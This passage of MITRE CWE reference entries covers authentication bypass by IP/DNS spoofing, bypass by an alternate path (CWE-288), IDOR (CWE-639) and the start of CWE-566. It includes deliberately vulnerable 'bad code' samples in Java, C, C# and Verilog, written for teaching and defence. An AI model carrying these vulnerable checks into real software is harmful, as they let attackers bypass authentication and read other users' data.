+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code authenticates users.

(bad code)
Example Language: Java 
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
authenticated = true;
}

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.



Example 2


Both of these examples check if a request is from a trusted address before responding to the request.

(bad code)
Example Language: C 
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));

while (1) {
memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
}
(bad code)
Example Language: Java 
while(true) {
DatagramPacket rp=new DatagramPacket(rData,rData.length);
outSock.receive(rp);
String in = new String(p.getData(),0, rp.getLength());
InetAddress clientIPAddress = rp.getAddress();
int port = rp.getPort();

if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
}
}

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.



Example 3


The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)
Example Language: C 
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
trusted = true;
} else {
trusted = false;
}
(bad code)
Example Language: Java 
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}
(bad code)
Example Language: C# 
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
trusted = true;
}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address.
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 956 SFP Secondary Cluster: Channel Attack
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be resultant from insufficient verification.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication bypass by spoofing
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Spoofing and Identification", Page 72. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Time_of_Introduction, Weakness_Ordinalities
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-01-31 CWE Content Team MITRE
updated Description
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Relationship_Notes
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product requires authentication, but the product has an alternate path or channel that does not require authentication. Diagram for CWE-288
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 306 Missing Authentication for Critical Function
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 425 Direct Request ('Forced Browsing')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1299 Missing Protection Mechanism for Alternate Hardware Interface
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 420 Unprotected Alternate Channel
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and Design This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Web Based (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Register SECURE_ME is located at address 0xF00. A mirror of this register called COPY_OF_SECURE_ME is at location 0x800F00. The register SECURE_ME is protected from malicious agents and only allows access to select, while COPY_OF_SECURE_ME is not.

Access control is implemented using an allowlist (as indicated by acl_oh_allowlist). The identity of the initiator of the transaction is indicated by the one hot input, incoming_id. This is checked against the acl_oh_allowlist (which contains a list of initiators that are allowed to access the asset).

Though this example is shown in Verilog, it will apply to VHDL as well.

(informative)
Example Language: Verilog 
module foo_bar(data_out, data_in, incoming_id, address, clk, rst_n);
output [31:0] data_out;
input [31:0] data_in, incoming_id, address;
input clk, rst_n;
wire write_auth, addr_auth;
reg [31:0] data_out, acl_oh_allowlist, q;
assign write_auth = | (incoming_id & acl_oh_allowlist) ? 1 : 0;
always @*
acl_oh_allowlist <= 32'h8312;
assign addr_auth = (address == 32'hF00) ? 1: 0;
always @ (posedge clk or negedge rst_n)
if (!rst_n)
begin
q <= 32'h0;
data_out <= 32'h0;
end
else
begin
q <= (addr_auth & write_auth) ? data_in: q;
data_out <= q;
end
end
endmodule
(bad code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00) ? 1: 0;

The bugged line of code is repeated in the Bad example above. Weakness arises from the fact that the SECURE_ME register can be modified by writing to the shadow register COPY_OF_SECURE_ME, the address of COPY_OF_SECURE_ME should also be included in the check. That buggy line of code should instead be replaced as shown in the Good Code Snippet below.

(good code)
Example Language: Verilog 
assign addr_auth = (address == 32'hF00 || address == 32'h800F00) ? 1: 0;


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.
Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.
OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.
Direct request of installation file allows attacker to create administrator accounts.
Attackers may gain additional privileges by directly requesting the web management URL.
Bypass authentication via direct request to named pipe.
User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 721 OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

overlaps Unprotected Alternate Channel
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007 A10 CWE More Specific Failure to Restrict URL Access
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-09-29
(CWE 4.16, 2024-11-19) 		Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Description, Diagram
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Relationships
2008-11-24 CWE Content Team MITRE
updated Observed_Examples
2008-09-08 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Type
+ Previous Entry Names
Change Date Previous Entry Name
2008-09-09 Authentication Bypass by Alternate Path/Channel
Back to top

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
+ Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

+ Alternate Terms
Insecure Direct Object Reference / IDOR
The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.
Broken Object Level Authorization / BOLA
BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.
Horizontal Authorization
"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

Access control checks for specific user data or functionality can be bypassed.

Gain Privileges or Assume Identity

Scope: Access Control

Horizontal escalation of privilege is possible (one user can view/modify information of another user).

Gain Privileges or Assume Identity

Scope: Access Control

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Architecture and Design; Implementation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Architecture and Design
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 566 Authorization Bypass Through User-Controlled SQL Primary Key
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 840 Business Logic Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1212 Authorization Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Relevant to the view "CISQ Data Protection Measures" (View-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

(bad code)
Example Language: C# 
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
An educational application does not appropriately restrict file IDs to a particular user. The attacker can brute-force guess IDs, indicating IDOR.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 715 OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 932 OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 945 SFP Secondary Cluster: Insecure Resource Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1435 Weaknesses in the 2025 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1496] OWASP. "Insecure Direct Object Reference Prevention Cheat Sheet". 2025.
<https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html>. (URL validated: 2025-11-30)
[REF-1497] MDN. "Insecure Direct Object Reference (IDOR)". 2025-09-30.
<https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/IDOR>. (URL validated: 2025-11-30)
[REF-1498] Imperva. "Insecure Direct Object Reference".
<https://www.imperva.com/learn/application-security/insecure-direct-object-reference-idor/>. (URL validated: 2025-11-30)
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-30
(CWE Draft 8, 2008-01-30) 		Evgeny Lebanidze Cigital
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated References, Relationships, Weakness_Ordinalities
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Alternate_Terms
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships
2011-03-29 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Description, Name, Potential_Mitigations, Relationships
2010-06-21 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Common_Consequences
2009-05-27 CWE Content Team MITRE
updated Relationships
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Type
+ Previous Entry Names
Change Date Previous Entry Name
2011-03-29 Access Control Bypass Through User-Controlled Key
Back to top

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID: 566
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.
+ Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

  • Data enters a program from an untrusted source.
  • The data is used to specify the value of a primary key in a SQL query.
  • The untrusted source does not have the permissions to be able to access all rows in the associated table.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

